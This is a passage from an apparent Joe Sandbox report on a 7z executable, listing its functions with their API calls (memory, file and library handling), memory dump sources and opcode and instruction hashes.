                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: e7d5ba1defadd3acd0d91b79684e099e0fccd2f3b59dc636ae55ac404bf7f5e6
                                                                                                                                                                                                                                                              • Instruction ID: f30e1ff3bd1225f482df4619485fb2735244c2cece7f01f5421d8306c74f2a3d
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e7d5ba1defadd3acd0d91b79684e099e0fccd2f3b59dc636ae55ac404bf7f5e6
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C2F0A463702B9187DA24AE26E8501AD6711EB86FB1F5C8325EF7917BD1CF24C947C314
                                                                                                                                                                                                                                                              Function 006FC7D4 Relevance: 2.5, APIs: 2, Instructions: 40COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: malloc.MSVCRT ref: 006B2134
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: _CxxThrowException.MSVCRT ref: 006B214F
                                                                                                                                                                                                                                                              • memmove.MSVCRT ref: 006FC815
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006FC81D
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ExceptionThrowfreemallocmemmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1097815484-0
                                                                                                                                                                                                                                                              • Opcode ID: ff112bfad1453f99bb626e790325d578691dd91014c08a4cfe78a0c05c438efe
                                                                                                                                                                                                                                                              • Instruction ID: 26209d58f7372054734d233d1a91901f37b8b313cf0de37ce008f6b2fca9b5ca
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ff112bfad1453f99bb626e790325d578691dd91014c08a4cfe78a0c05c438efe
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 0D0181777015888BCB14DF2AD8615ACB7A6E788FE9B08C129DF154B358CA34DC86CB90
                                                                                                                                                                                                                                                              Function 006F0A1C Relevance: 2.5, APIs: 2, Instructions: 29COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • EnterCriticalSection.KERNEL32 ref: 006F0A42
                                                                                                                                                                                                                                                              • LeaveCriticalSection.KERNEL32 ref: 006F0A73
                                                                                                                                                                                                                                                                • Part of subcall function 006FB480: GetTickCount.KERNEL32 ref: 006FB49E
                                                                                                                                                                                                                                                                • Part of subcall function 006FB480: strcmp.MSVCRT ref: 006FB4E3
                                                                                                                                                                                                                                                                • Part of subcall function 006FB480: wcscmp.MSVCRT ref: 006FB502
                                                                                                                                                                                                                                                                • Part of subcall function 006FB480: strcmp.MSVCRT ref: 006FB568
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CriticalSectionstrcmp$CountEnterLeaveTickwcscmp
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3267814326-0
                                                                                                                                                                                                                                                              • Opcode ID: e88f57d7c7d95c69104a252a1c7d9368823166ee09aea818bbba8cc4799af9b9
                                                                                                                                                                                                                                                              • Instruction ID: b499d0b43bbd5ad68bf16dc1d77638927d9fcb0295598ec4a68de2c95b413ddb
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e88f57d7c7d95c69104a252a1c7d9368823166ee09aea818bbba8cc4799af9b9
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D6F0BE62254A5082E7108F28E8407A96360E744BB4F100334DE7D477E4CF3C889AC368
                                                                                                                                                                                                                                                              Function 006B2568 Relevance: 2.5, APIs: 2, Instructions: 26COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1534225298-0
                                                                                                                                                                                                                                                              • Opcode ID: 586c8cc20f275266bf889dc5ef0a5fac6cb60cf56a6a0da5214c7ba1b0ee869b
                                                                                                                                                                                                                                                              • Instruction ID: 6e16919e73425eed3c8efaabf5662478fc5032f350ceeca6a0a4a8b46ea55323
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 586c8cc20f275266bf889dc5ef0a5fac6cb60cf56a6a0da5214c7ba1b0ee869b
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D0E0A7A225454191CE60EB20E4210DA67A1E7C57F4B442315F7BF03BF9CE28C6C5CB04
                                                                                                                                                                                                                                                              Function 006B2130 Relevance: 2.5, APIs: 2, Instructions: 11COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ExceptionThrowmalloc
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 2436765578-0
                                                                                                                                                                                                                                                              • Opcode ID: fa6ff63fb0a4f718842d089b3478a2da5176663da7f3a9e4140987a861a74cca
                                                                                                                                                                                                                                                              • Instruction ID: e3476a61f643a2362fba60142faee3c8b2648027fa020cd663c3d2d3f030d1f2
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: fa6ff63fb0a4f718842d089b3478a2da5176663da7f3a9e4140987a861a74cca
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 1DD02290B2B285E0CE04A718A8823A81B61A798340F801015E30E01324DA2CC19F8700
                                                                                                                                                                                                                                                              Function 006C251C Relevance: 1.6, APIs: 1, Instructions: 132COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                                              • Opcode ID: 2cd451c15515d27b5fb79faae5e116a06c4e7ed636842f570073d620974bbfb5
                                                                                                                                                                                                                                                              • Instruction ID: 36ca89b003c4cc1a33b6789c52fab974413f13f9c306c734dffab50731c4976e
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2cd451c15515d27b5fb79faae5e116a06c4e7ed636842f570073d620974bbfb5
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 5C514B72244AC296CB61CF25D490BED3B62F389F98F59413ADE9A4B719DF24C881C720
                                                                                                                                                                                                                                                              Function 006D86E0 Relevance: 1.5, APIs: 1, Instructions: 49COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ByteString
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 4236320881-0
                                                                                                                                                                                                                                                              • Opcode ID: 1f64ae9d3ddb337fcfe08435523e691609cde8a8f740f1935bab7fcecbb63b66
                                                                                                                                                                                                                                                              • Instruction ID: 0a72a61d383c6c049090212b32599b52aaacd9175a3d68ddd986bb2ad528991e
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 1f64ae9d3ddb337fcfe08435523e691609cde8a8f740f1935bab7fcecbb63b66
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 2E11A526A1878186E3608B19E8447AE6361F7847E4F644322EFDA577E4EF3CCD86C705
                                                                                                                                                                                                                                                              Function 006B8C98 Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                                • Part of subcall function 006B8A60: SetFilePointer.KERNELBASE(?,?,00000003,?,006B8E1D), ref: 006B8A99
                                                                                                                                                                                                                                                                • Part of subcall function 006B8A60: GetLastError.KERNEL32(?,?,00000003,?,006B8E1D), ref: 006B8AA6
                                                                                                                                                                                                                                                              • SetEndOfFile.KERNELBASE ref: 006B8CC7
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: File$ErrorLastPointer
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 841452515-0
                                                                                                                                                                                                                                                              • Opcode ID: c90e265412cd84312492c39e5ed9ff3a683aba44eb41e009ab2a5a4b09f96c43
                                                                                                                                                                                                                                                              • Instruction ID: 3c709fb3c06bc8303cda0bf53aaf54119671899bf3276ce853d0d5c5432416db
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: c90e265412cd84312492c39e5ed9ff3a683aba44eb41e009ab2a5a4b09f96c43
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F6E026A2301494DAE7609FA1A4816EA831AAB457E0F488031AA4543B488F658CDACB10
                                                                                                                                                                                                                                                              Function 006B64D4 Relevance: 1.5, APIs: 1, Instructions: 22libraryCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                                • Part of subcall function 006B6464: FreeLibrary.KERNELBASE(?,?,?,006B64E7), ref: 006B6475
                                                                                                                                                                                                                                                              • LoadLibraryExW.KERNELBASE ref: 006B64F4
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: Library$FreeLoad
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 534179979-0
                                                                                                                                                                                                                                                              • Opcode ID: 3a2e34574c688ca7af7f74dd229b4749d7d1e3364c56f11fc75fdd86188f9568
                                                                                                                                                                                                                                                              • Instruction ID: 76ab03efd4ff8f6c817632b7cace466f09025c39b4ae87c298cba2926c844252
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3a2e34574c688ca7af7f74dd229b4749d7d1e3364c56f11fc75fdd86188f9568
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: BED02EA2700A2182EE202BA6B8412E803022F06BE0E88C030AE0D03300DE2D0CFBA304
                                                                                                                                                                                                                                                              Function 006B8BF0 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: FileWrite
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3934441357-0
                                                                                                                                                                                                                                                              • Opcode ID: 1085791dad4498b16cc9abdee153caba491eab099019c6398aedde3617614eaf
                                                                                                                                                                                                                                                              • Instruction ID: 3336f2ea470dcfea018e0e12ab61745cec5c675a7e080b38405fe7e43a22a282
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 1085791dad4498b16cc9abdee153caba491eab099019c6398aedde3617614eaf
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 45E0467A628640CBE740CF64E400B5AB3A0F788B24F000124EE8E83B54CBBCC054CF40
                                                                                                                                                                                                                                                              Function 006B6464 Relevance: 1.5, APIs: 1, Instructions: 15COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • FreeLibrary.KERNELBASE(?,?,?,006B64E7), ref: 006B6475
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: FreeLibrary
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3664257935-0
                                                                                                                                                                                                                                                              • Opcode ID: 263427ff8568d61754d606e09aee6c08ed44ac838dad2c881132b4691fd57d34
                                                                                                                                                                                                                                                              • Instruction ID: e04446913c40bff1ca6004cf65e63741222fdb42cdc08245f6f28fb7babe8b49
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 263427ff8568d61754d606e09aee6c08ed44ac838dad2c881132b4691fd57d34
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 01D012E2712904C5FF154FA2E8543B523956F58F44F5C9020DE154A350EB2D88D587A0
                                                                                                                                                                                                                                                              Function 006B8AF4 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: FileRead
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 2738559852-0
                                                                                                                                                                                                                                                              • Opcode ID: d6e337c251ae6e5d4ca8af2bcbb66e5cb8e311ff68b77760b7eea80f1dd1c151
                                                                                                                                                                                                                                                              • Instruction ID: 2b79142e4631a7caecaa98c32994b358b4edfb9aac0750e3a84da6c36437e471
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d6e337c251ae6e5d4ca8af2bcbb66e5cb8e311ff68b77760b7eea80f1dd1c151
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 52D01776614684C6E7008F60E04575AF764F788B64F480014EA8846764CBBDC199CB00
                                                                                                                                                                                                                                                              Function 006B26A0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1795875747-0
                                                                                                                                                                                                                                                              • Opcode ID: 5f6c79e67240f10e506dcd010c05e3fcb41f145b375b3b6d5ae371637dca3dc7
                                                                                                                                                                                                                                                              • Instruction ID: d91d1c6e093cf38b090f3f545d982f6c3a927cb0125ccbb3107c8ae2de76c4b9
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5f6c79e67240f10e506dcd010c05e3fcb41f145b375b3b6d5ae371637dca3dc7
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 87D0A7D270074981CE109726E4102692322BB48BC4F444031DD9D0B318DD2CC1548B00
                                                                                                                                                                                                                                                              Function 006B794C Relevance: 1.5, APIs: 1, Instructions: 14COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CloseFind
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1863332320-0
                                                                                                                                                                                                                                                              • Opcode ID: 722c96f04a6826338d67a42852ca525e19c432cc1267ed16e2c090f8721fb2dc
                                                                                                                                                                                                                                                              • Instruction ID: 8beebaf7106597f948d7ea0054352823038f616f04789e00a3265aa979460929
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 722c96f04a6826338d67a42852ca525e19c432cc1267ed16e2c090f8721fb2dc
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 31D0C9B6A0994581DB212FBA98403A42363AB95F74F284320DAB44A3E0DF2985D68711
                                                                                                                                                                                                                                                              Function 006B8BB0 Relevance: 1.5, APIs: 1, Instructions: 8timeCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: FileTime
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1425588814-0
                                                                                                                                                                                                                                                              • Opcode ID: 27dcbfd971054ac7552dc6a0aec683e37694d7ffe7d38722d02be5010972bc1d
                                                                                                                                                                                                                                                              • Instruction ID: a70131ef8a6cd59cd17a636e2013e4ec13100b9e990d09c8497f645cbbaac5a1
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 27dcbfd971054ac7552dc6a0aec683e37694d7ffe7d38722d02be5010972bc1d
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: CFB09230B12401C2CB0CA722E89232C13616B88B21FE14439C50BD5A50CD1D85E94700
                                                                                                                                                                                                                                                              Function 006D373C Relevance: 1.3, APIs: 1, Instructions: 86COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
